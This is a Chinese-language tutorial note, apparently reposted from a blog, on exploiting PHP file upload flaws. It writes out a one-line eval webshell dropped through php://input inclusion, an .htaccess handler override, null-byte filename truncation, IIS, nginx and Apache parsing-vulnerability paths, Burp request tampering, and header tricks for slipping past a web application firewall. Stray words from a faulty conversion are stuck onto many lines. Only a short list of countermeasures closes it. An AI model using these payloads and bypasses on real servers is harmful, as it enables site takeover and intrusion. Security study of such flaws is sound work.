文件上傳漏洞及其繞過、對策、過狗

1.  文件包含上傳:php

php://input屬於php內置的封裝協議,其實都主要是include()函數處理不當
若是有文件是如下寫法,xxx隨便:
<?php
  include($_GET['xxx']);
 ?>

以上保存到test.php,html

而後咱們經過POST提交php代碼。在hackbar的POST區 可利用此寫入一句話木馬:
<?php fwrite(fopen("payload.php","w"),'<?php eval($_POST["cc"]);?>');?>

效果就是test.php相同目錄下生成payload.php,內容就是一句話木馬。前端

 2.。htaccessnginx

<FilesMatch "2232">
    SetHandler application/x-httpd-php
</FilesMatch>

。htaccess是一個分佈式配置文件,阿帕奇的。與jpg分別上傳至贊成目錄,可讓jpg解析爲phpshell

 ,用於對付黑名單,且能夠用來權限維持apache

 

3.MIME:burp修改就能夠解決後端

4.js:禁用瀏覽器js、修改刪除本地js瀏覽器

5.後綴名%00截斷安全

 將文件名改成muma.php%00.jpg,在burp裏將%00右鍵轉碼爲urldecode服務器

或者命名爲muma.php.jpg,在burp裏將.php後面加一個空格,轉到hex裏,由於空格的編碼是%20,hex找到20將棋更名爲00.

事實上%00 0x00這些原理都是同樣的。中間件在探測到00(null)就認爲後面沒有了,俗稱截斷。這是後端接收到的認爲就是muma.php

防護:在緩衝區再作一次校驗


本次學習用的測試代碼demo:
<?php
// 容許上傳的圖片後綴
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 獲取文件後綴名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小於 200 kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "錯誤:: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "上傳文件名: " . $_FILES["file"]["name"] . "<br>";
        echo "文件類型: " . $_FILES["file"]["type"] . "<br>";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
        echo "文件臨時存儲的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
        
        // 判斷當期目錄下的 upload 目錄是否存在該文件
        // 若是沒有 upload 目錄,你須要建立它,注意upload目錄權限 
        if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已經存在。 ";
        }
        else
        {
            // 若是 upload 目錄不存在該文件則將文件上傳到 upload 目錄下
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "文件存儲在: " . "upload/" . $_FILES["file"]["name"];
        }
    }
}
else
{
    echo "非法的文件格式";
}
?>

 


6.中間件解析漏洞

一。 iis6.0 (沒有補丁,必定存在此漏洞,除非站長本身修復

文件正常地址

www.xxx.com/logo.jpg

觸發漏洞地址:

將文件命名爲logo.asp;.xxx.jpg或logo.asp;.jpg

並瀏覽器訪問www.xxx.com/logo.asp;.xxx.jpg,或logo.asp;.jpg會把文件logo.asp;.xxx.jpg解析爲asp。(腳本格式隨意)

文件夾正常地址:

www.xxx.com/image/logo.jpg

觸發漏洞地址

將logo.jpg放在image.asp文件夾下,並訪問

www.xxx.com/image.asp/logo.jpg(腳本格式隨意)

會把logo.jpg解析成爲asp

 

 

 

 

二。 iis7.x nginx  探索哪些nginx低版本會存在漏洞(有補丁,可能會有網站打補丁修復)

該解析漏洞利用需兩個條件:

1.        php.ini裏cgi.fix_pathinfo=1(默認爲1)

2.        在」Handler Mapping」中取消勾選如下內容:

 

解決方案:

1.      配置cgi.pathinfo(php.ini中)爲0並重啓php-cgi程序

2.      在」Handler Mapping」勾選php-cgi.exe程序的」Invoke handler only if request is mapped to」

 

3.      從新配置iis,使用ISAPI的方式(注意:PHP5.3.1已經不支持ISAPI方式)。

 

 

 

 

三。nginx解析漏洞:

利用:

正常地址:

www.xxx.com/logo.jpg

若是存在漏洞:

文件命名logo.jpg,命名不變,可是若是咱們訪問:

www.xxx.com/logo.jpg/*.php ,會將文件解析爲php,此漏洞只能將文件解析成php

 localhost/img/1.jpg 是正常地訪問一張圖片,而 localhost/img/1.jpg/1.php 卻會把這張圖片做爲PHP文件來執行

條件:

新版本的php引入了「security.limit_extensions」,限制了可執行文件的後綴,默認只容許執行.php文件。來作進一步測試。找到php5-fpm配置文件php-fpm.conf,若不知道在哪,可用以下命令搜索:

sudo find / -name php-fpm.conf

個人測試環境中,該文件位於/etc/php5/fpm/php-fpm.conf。修改該文件中的「security.limit_extensions」,添加上.jpg,添加後以下所示:

security.limit_extensions = .php .jpg

這樣,php便認爲.jpg也是合法的php文件後綴了,再在瀏覽器中訪問 http://127.0.0.1/test.jpg/test.php ,看到php被成功執行

 

 




四。Apache(有補丁,可能會被打補丁修復,探索哪些版本會有漏洞,原理:向上解析,不識別,繼續向上)

正常地址:www.xxx.com/logo.jpg

若是存在漏洞:www.xxx.com/logo.jpg.php.xxx

將文件命名爲logo.jpg.php.xxx。 若是xxx  apache不識別此格式,則向上解析php,假如還不識別繼續向上解析。

先來看測試過程和結果的對比吧。

結果一

首先,我安裝了apache 2.x版本,同時以module方式使apache與php結合,測試發現確實存在這樣的解析漏洞。

 

結果二

而後,我將apache與php的結合方式修改成fastcgi方式,測試發現爆500錯誤,不存在這樣的解析漏洞。

 

錯誤提示:

1Bad file descriptor: mod_fcgid: don't know how to spawn child process: f4ck.php.x

意思就是不知道該如何解析這個文件。

結果出來了,那麼對於影響範圍這塊,在目前全部的apache版本中均存在此問題,但只適用於以module方式解析php的apache,使用fastcgi方式解析php的apache不受影響,使用cgi方式解析php的apache是否影響未測試。

下面來簡單分享一下測試過程當中我發現的一點經驗。

先看一下apache的主配置文件httpd.conf,搜索「DefaultType」,就能夠看到這麼一段註釋和默認配置:

#

# DefaultType: the default MIME type the server will use for a document

# if it cannot otherwise determine one, such as from filename extensions.

# If your server contains mostly text or HTML documents, "text/plain" is

# a good value. If most of your content is binary, such as applications

# or images, you may want to use "application/octet-stream" instead to

# keep browsers from trying to display binary files as though they are

# text.

#10DefaultType text/plain

DefaultType存在的意義是告訴apache該如何處理未知擴展名的文件,好比f4ck.xxx這樣的文件,擴展名是xxx,這確定不是一個正常的網頁或腳本文件,這個參數就是告訴apache該怎麼處理這種未知擴展名的文件。

參數DefaultType的默認值是「text/plain」,也就是遇到未知擴展名的文件,就把它看成普通的txt文本或html文件來處理。

 

 7.

Filepath修改上傳

針對本地, 服務端名稱不一致的狀況,雖然能夠經過文件夾命名形式利用解析漏洞,可是通常狀況很難在服務端建立所須要的文件夾,固然不是不可以建立,咱們也能夠利用編輯器漏洞來達到目的,如今要說的是不經過文件夾解析漏洞。 
在這裏咱們上傳文件時經過burpsuite抓包,而後修改數據包裏的內容,舉例

 

 

 

本來filepath後內容是upfile,咱們抓包得到以後能夠在後面加上.asp,這樣就使得upfile文件夾變成upfile.asp, 就能夠觸發上述文件夾命名格式的解析漏洞。 也能夠在upfile/後面加上xx.asp; 這樣上傳的文件就變成了xx.asp;201510233(服務端自動命名).jpg, 能夠觸發解析漏洞達到訪問目的。

 



過狗:

上傳數據包:

 

Content-Disposition: form-data; name="upfile"; filename=x.php;

Content-Type: image/jpeg

 

Content-Disposition:

Name:上傳數據包參數名

Filename:文件名

Content-Type:文件類型信息

 方法:

1.修改filename值,去掉雙引號加上分號。原理:分號表明語句沒有結束,結束語句後不帶分號,因此上傳的shell.php沒有識別爲文件名,而被識別爲函數,因此就接着從後面開始找

2.刪除Content-Disposition的值(form-data)     原理:表示我沒有數據要提交,亂寫:接受的不是表單值而是其餘



1、對上傳的文件,返回數據包時隱藏上傳文件的路徑。上傳後的文件自動隨機重命名
 
2、服務器端的安全過濾,對上傳文件的類型、以及後綴名進行嚴格的把控。
 
3、上傳類型進行安全限制,JS前端以及後端一塊兒作雙層的安全限制,對文件的擴展名安全檢

測,(白名單)MIME文件類型安全檢測,上傳的文件大小限制。後臺作渲染嘗試、緩衝區再作驗證
 
4、對上傳的目錄進行文件夾安全限制,去掉目錄的腳本執行權限,
相關文章
相關標籤/搜索